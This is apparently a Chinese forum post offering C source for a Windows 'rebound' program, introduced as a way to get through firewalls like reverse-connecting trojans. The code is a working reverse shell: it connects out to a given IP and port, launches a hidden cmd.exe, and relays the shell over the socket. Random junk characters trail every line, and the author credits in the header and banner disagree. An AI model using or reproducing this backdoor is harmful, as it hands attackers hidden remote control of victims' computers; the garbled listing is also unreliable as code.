这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j2M4H@
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/* ============================== 1XG$ z@NN
Rebound port in Windows NT /v5qyR7an
By wind,2006/7 rxQ<4
===============================*/ ICk(z~D~
#include WS5A Y @(~
#include -<6v:Z
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#pragma comment(lib,"wsock32.lib") x7f:F.
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void OutputShell(); 5!~!j
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SOCKET sClient; S0F@#mSQ?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6{Ks`Af
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void main(int argc,char **argv) Gi*<~`Gr
{ P2Onkl
WSADATA stWsaData; kg:l:C)Tq
int nRet; Te+^J8
SOCKADDR_IN stSaiClient,stSaiServer; H-185]7
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if(argc != 3) N3ZiGD
{ [6_"^jgH
printf("Useage:\n\rRebound DestIP DestPort\n"); N?$7Z v[G
return; M2dmG<
} q?yMa9ZZky
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WSAStartup(MAKEWORD(2,2),&stWsaData); (Q'U@{s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JPLI
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stSaiClient.sin_family = AF_INET; c -w0
stSaiClient.sin_port = htons(0); 2\5cjdy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n? ]f@O R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3EmcYC
{ D{R/#vM jk
printf("Bind Socket Failed!\n"); @m?{80;uQ
return; >{QdMn
} JPsSw
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stSaiServer.sin_family = AF_INET; qp\BV #E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [yC"el6PM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /tP7uVL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qL3@PSN?|
{ &
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printf("Connect Error!"); )
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return; d5:tSO
} dhW<p5
OutputShell(); !_dR'
} \dTQQ
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void OutputShell() ~5ubh2{
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char szBuff[1024]; R4SxFp
SECURITY_ATTRIBUTES stSecurityAttributes; _jmkl
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OSVERSIONINFO stOsversionInfo; "7d.i(vw
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a1|c2kT
STARTUPINFO stStartupInfo; .uKx>YB}
char *szShell; 7WP%J-
PROCESS_INFORMATION stProcessInformation; xor TL8
unsigned long lBytesRead; T/5"}P`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y:,9I`aW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \yG`Sfu2
stSecurityAttributes.lpSecurityDescriptor = 0; (f~gEKcB2u
stSecurityAttributes.bInheritHandle = TRUE; uB;_vC
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \vVSh
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t:=k)B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %[ /<+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w" JGO
stStartupInfo.wShowWindow = SW_HIDE; zKxvN3!
stStartupInfo.hStdInput = hReadPipe; {5-zyE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [O_^MA,z
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GetVersionEx(&stOsversionInfo); _f3
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switch(stOsversionInfo.dwPlatformId) .T$D^?G!D
{ 13a(FG
case 1: [4XC#OgA
szShell = "command.com"; @KA1"Wb_
break; sa9fK Z'q
default: ~{M@?8wi
szShell = "cmd.exe"; %b=p< h'(
break; 8*s7m
} Qn.[{rw
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jV^C19
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send(sClient,szMsg,77,0); )o jDRJ&
while(1) hwVAXsF~
{ h!e2
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J &{xP8uq_
if(lBytesRead) Obo _YE
{ J>%t<xYf4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); aD ESr?
send(sClient,szBuff,lBytesRead,0); Go <'
} [N:BM% FQ
else 6Y7H|>g)
{ <GF @L
lBytesRead=recv(sClient,szBuff,1024,0); #*2Rp8n
if(lBytesRead<=0) break; nU/;2=f<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 62kb2C
} `G?qY8
} q (>c`5
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return; O-PdM`mqW
}